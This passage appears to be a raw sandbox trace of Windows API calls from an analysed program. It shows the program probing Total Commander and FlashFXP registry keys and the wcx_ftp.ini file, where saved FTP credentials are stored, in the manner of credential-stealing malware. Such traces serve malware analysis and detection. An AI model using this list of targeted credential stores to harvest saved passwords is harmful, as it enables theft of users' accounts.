ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb74 | out: phkResult=0x21fb74*=0x0) returned 0x2 [0056.094] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb44 | out: phkResult=0x21fb44*=0x0) returned 0x2 [0056.094] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fba4 | out: phkResult=0x21fba4*=0x0) returned 0x2 [0056.094] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb74 | out: phkResult=0x21fb74*=0x0) returned 0x2 [0056.094] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb44 | out: phkResult=0x21fb44*=0x0) returned 0x2 [0056.094] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb90 | out: phkResult=0x21fb90*=0x0) returned 0x2 [0056.094] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb60 | out: phkResult=0x21fb60*=0x0) returned 0x2 [0056.094] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb30 | out: phkResult=0x21fb30*=0x0) returned 0x2 [0056.094] lstrlenA (lpString="C:\\ProgramData\\GHISLER\\") returned 23 [0056.094] lstrlenA (lpString="wcx_ftp.ini") returned 11 [0056.094] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x2cbd00 [0056.094] lstrcpyA (in: lpString1=0x2cbd00, lpString2="C:\\ProgramData\\GHISLER\\" | out: lpString1="C:\\ProgramData\\GHISLER\\") returned="C:\\ProgramData\\GHISLER\\" [0056.094] lstrcatA (in: lpString1="C:\\ProgramData\\GHISLER\\", lpString2="wcx_ftp.ini" | out: lpString1="C:\\ProgramData\\GHISLER\\wcx_ftp.ini") returned="C:\\ProgramData\\GHISLER\\wcx_ftp.ini" [0056.094] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GHISLER\\wcx_ftp.ini", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x24 [0056.094] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x2cc740 [0056.094] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GHISLER\\wcx_ftp.ini", lpDst=0x2cc740, nSize=0x24 | out: lpDst="C:\\ProgramData\\GHISLER\\wcx_ftp.ini") returned 0x23 [0056.094] CreateFileA (lpFileName="C:\\ProgramData\\GHISLER\\wcx_ftp.ini" (normalized: "c:\\programdata\\ghisler\\wcx_ftp.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.094] LocalFree (hMem=0x2cc740) returned 0x0 [0056.094] LocalFree (hMem=0x2cbd00) returned 0x0 [0056.094] LocalFree (hMem=0x2cea58) returned 0x0 [0056.094] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cc740 [0056.094] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0056.094] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.094] lstrlenA (lpString="\\GHISLER") returned 8 [0056.094] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x2cc8d0 [0056.094] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0056.095] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\GHISLER" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER" [0056.095] LocalFree (hMem=0x2cc740) returned 0x0 [0056.095] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER") returned 45 [0056.095] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER") returned 45 [0056.095] lstrlenA (lpString="\\") returned 1 [0056.095] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x2cbd00 [0056.095] lstrcpyA (in: lpString1=0x2cbd00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER" [0056.095] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\" [0056.095] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.095] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb90 | out: phkResult=0x21fb90*=0x0) returned 0x2 [0056.095] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb60 | out: phkResult=0x21fb60*=0x0) returned 0x2 [0056.095] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb30 | out: phkResult=0x21fb30*=0x0) returned 0x2 [0056.095] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fba4 | out: phkResult=0x21fba4*=0x0) returned 0x2 [0056.095] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb74 | out: phkResult=0x21fb74*=0x0) returned 0x2 [0056.095] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb44 | out: phkResult=0x21fb44*=0x0) returned 0x2 [0056.095] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fba4 | out: phkResult=0x21fba4*=0x0) returned 0x2 [0056.095] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb74 | out: phkResult=0x21fb74*=0x0) returned 0x2 [0056.095] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb44 | out: phkResult=0x21fb44*=0x0) returned 0x2 [0056.095] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb90 | out: phkResult=0x21fb90*=0x0) returned 0x2 [0056.095] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb60 | out: phkResult=0x21fb60*=0x0) returned 0x2 [0056.095] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb30 | out: phkResult=0x21fb30*=0x0) returned 0x2 [0056.095] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\") returned 46 [0056.095] lstrlenA (lpString="wcx_ftp.ini") returned 11 [0056.095] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2cc740 [0056.095] lstrcpyA (in: lpString1=0x2cc740, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\" [0056.095] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\", lpString2="wcx_ftp.ini" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\wcx_ftp.ini") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\wcx_ftp.ini" [0056.095] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\wcx_ftp.ini", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3b [0056.095] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x2cc808 [0056.095] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\wcx_ftp.ini", lpDst=0x2cc808, nSize=0x3b | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\wcx_ftp.ini") returned 0x3a [0056.096] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\wcx_ftp.ini" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\ghisler\\wcx_ftp.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.096] LocalFree (hMem=0x2cc808) returned 0x0 [0056.096] LocalFree (hMem=0x2cc740) returned 0x0 [0056.096] LocalFree (hMem=0x2cbd00) returned 0x0 [0056.096] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fbb8 | out: phkResult=0x21fbb8*=0x0) returned 0x2 [0056.096] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb88 | out: phkResult=0x21fb88*=0x0) returned 0x2 [0056.096] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb58 | out: phkResult=0x21fb58*=0x0) returned 0x2 [0056.096] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fba4 | out: phkResult=0x21fba4*=0x0) returned 0x2 [0056.096] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb74 | out: phkResult=0x21fb74*=0x0) returned 0x2 [0056.096] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb44 | out: phkResult=0x21fb44*=0x0) returned 0x2 [0056.096] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fbb8 | out: phkResult=0x21fbb8*=0x0) returned 0x2 [0056.096] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb88 | out: phkResult=0x21fb88*=0x0) returned 0x2 [0056.096] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb58 | out: phkResult=0x21fb58*=0x0) returned 0x2 [0056.096] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fba4 | out: phkResult=0x21fba4*=0x0) returned 0x2 [0056.096] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb74 | out: phkResult=0x21fb74*=0x0) returned 0x2 [0056.096] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb44 | out: phkResult=0x21fb44*=0x0) returned 0x2 [0056.096] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fbcc | out: phkResult=0x21fbcc*=0x0) returned 0x2 [0056.096] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb9c | out: phkResult=0x21fb9c*=0x0) returned 0x2 [0056.096] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb6c | out: phkResult=0x21fb6c*=0x0) returned 0x2 [0056.097] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fbb0 | out: phkResult=0x21fbb0*=0x0) returned 0x2 [0056.097] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb80 | out: phkResult=0x21fb80*=0x0) returned 0x2 [0056.097] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb50 | out: phkResult=0x21fb50*=0x0) returned 0x2 [0056.097] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fbcc | out: phkResult=0x21fbcc*=0x0) returned 0x2 [0056.097] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb9c | out: phkResult=0x21fb9c*=0x0) returned 0x2 [0056.097] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb6c | out: phkResult=0x21fb6c*=0x0) returned 0x2 [0056.097] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fbb0 | out: phkResult=0x21fbb0*=0x0) returned 0x2 [0056.097] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb80 | out: phkResult=0x21fb80*=0x0) returned 0x2 [0056.097] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb50 | out: phkResult=0x21fb50*=0x0) returned 0x2 [0056.097] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.097] IStream:LockRegion (This=0x2c1a58, libOffset=0x188, cb=0x0, dwLockType=0x0) returned 0x0 [0056.097] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd4) returned 0x0 [0056.097] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.097] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.097] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.097] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbdc) returned 0x0 [0056.097] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd4) returned 0x0 [0056.097] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbf0) returned 0x0 [0056.097] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd8) returned 0x0 [0056.097] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fba0 | out: phkResult=0x21fba0*=0x0) returned 0x2 [0056.097] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb70 | out: phkResult=0x21fb70*=0x0) returned 0x2 [0056.097] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb40 | out: phkResult=0x21fb40*=0x0) returned 0x2 [0056.097] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb94 | out: phkResult=0x21fb94*=0x0) returned 0x2 [0056.097] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb64 | out: phkResult=0x21fb64*=0x0) returned 0x2 [0056.098] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb34 | out: phkResult=0x21fb34*=0x0) returned 0x2 [0056.098] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb88 | out: phkResult=0x21fb88*=0x0) returned 0x2 [0056.098] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb58 | out: phkResult=0x21fb58*=0x0) returned 0x2 [0056.098] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb28 | out: phkResult=0x21fb28*=0x0) returned 0x2 [0056.098] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb7c | out: phkResult=0x21fb7c*=0x0) returned 0x2 [0056.098] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb4c | out: phkResult=0x21fb4c*=0x0) returned 0x2 [0056.098] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb1c | out: phkResult=0x21fb1c*=0x0) returned 0x2 [0056.098] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb70 | out: phkResult=0x21fb70*=0x0) returned 0x2 [0056.098] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb40 | out: phkResult=0x21fb40*=0x0) returned 0x2 [0056.098] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb10 | out: phkResult=0x21fb10*=0x0) returned 0x2 [0056.098] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fba4 | out: phkResult=0x21fba4*=0x0) returned 0x2 [0056.098] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb74 | out: phkResult=0x21fb74*=0x0) returned 0x2 [0056.098] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb44 | out: phkResult=0x21fb44*=0x0) returned 0x2 [0056.098] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb98 | out: phkResult=0x21fb98*=0x0) returned 0x2 [0056.098] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb68 | out: phkResult=0x21fb68*=0x0) returned 0x2 [0056.098] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb38 | out: phkResult=0x21fb38*=0x0) returned 0x2 [0056.098] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb8c | out: phkResult=0x21fb8c*=0x0) returned 0x2 [0056.099] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb5c | out: phkResult=0x21fb5c*=0x0) returned 0x2 [0056.099] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb2c | out: phkResult=0x21fb2c*=0x0) returned 0x2 [0056.099] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb80 | out: phkResult=0x21fb80*=0x0) returned 0x2 [0056.099] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb50 | out: phkResult=0x21fb50*=0x0) returned 0x2 [0056.099] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb20 | out: phkResult=0x21fb20*=0x0) returned 0x2 [0056.099] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb74 | out: phkResult=0x21fb74*=0x0) returned 0x2 [0056.099] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb44 | out: phkResult=0x21fb44*=0x0) returned 0x2 [0056.099] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb14 | out: phkResult=0x21fb14*=0x0) returned 0x2 [0056.099] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb68 | out: phkResult=0x21fb68*=0x0) returned 0x2 [0056.099] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb38 | out: phkResult=0x21fb38*=0x0) returned 0x2 [0056.099] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb08 | out: phkResult=0x21fb08*=0x0) returned 0x2 [0056.099] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fba4 | out: phkResult=0x21fba4*=0x0) returned 0x2 [0056.099] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb74 | out: phkResult=0x21fb74*=0x0) returned 0x2 [0056.099] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\3", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb44 | out: phkResult=0x21fb44*=0x0) returned 0x2 [0056.099] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb98 | out: phkResult=0x21fb98*=0x0) returned 0x2 [0056.099] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb68 | out: phkResult=0x21fb68*=0x0) returned 0x2 [0056.099] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb38 | out: phkResult=0x21fb38*=0x0) returned 0x2 [0056.099] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb8c | out: phkResult=0x21fb8c*=0x0) returned 0x2 [0056.100] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb5c | out: phkResult=0x21fb5c*=0x0) returned 0x2 [0056.100] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb2c | out: phkResult=0x21fb2c*=0x0) returned 0x2 [0056.100] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb80 | out: phkResult=0x21fb80*=0x0) returned 0x2 [0056.100] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb50 | out: phkResult=0x21fb50*=0x0) returned 0x2 [0056.100] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb20 | out: phkResult=0x21fb20*=0x0) returned 0x2 [0056.100] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb74 | out: phkResult=0x21fb74*=0x0) returned 0x2 [0056.100] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb44 | out: phkResult=0x21fb44*=0x0) returned 0x2 [0056.100] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\4", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb14 | out: phkResult=0x21fb14*=0x0) returned 0x2 [0056.100] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\5", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb68 | out: phkResult=0x21fb68*=0x0) returned 0x2 [0056.100] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\5", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb38 | out: phkResult=0x21fb38*=0x0) returned 0x2 [0056.100] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashFXP\\5", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb08 | out: phkResult=0x21fb08*=0x0) returned 0x2 [0056.100] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\5", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fba4 | out: phkResult=0x21fba4*=0x0) returned 0x2 [0056.100] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\5", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb74 | out: phkResult=0x21fb74*=0x0) returned 0x2 [0056.100] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FlashFXP\\5", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb44 | out: phkResult=0x21fb44*=0x0) returned 0x2 [0056.100] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cc740 [0056.100] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0056.100] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.100] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0056.100] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x2cc8d0 [0056.100] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0056.100] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3") 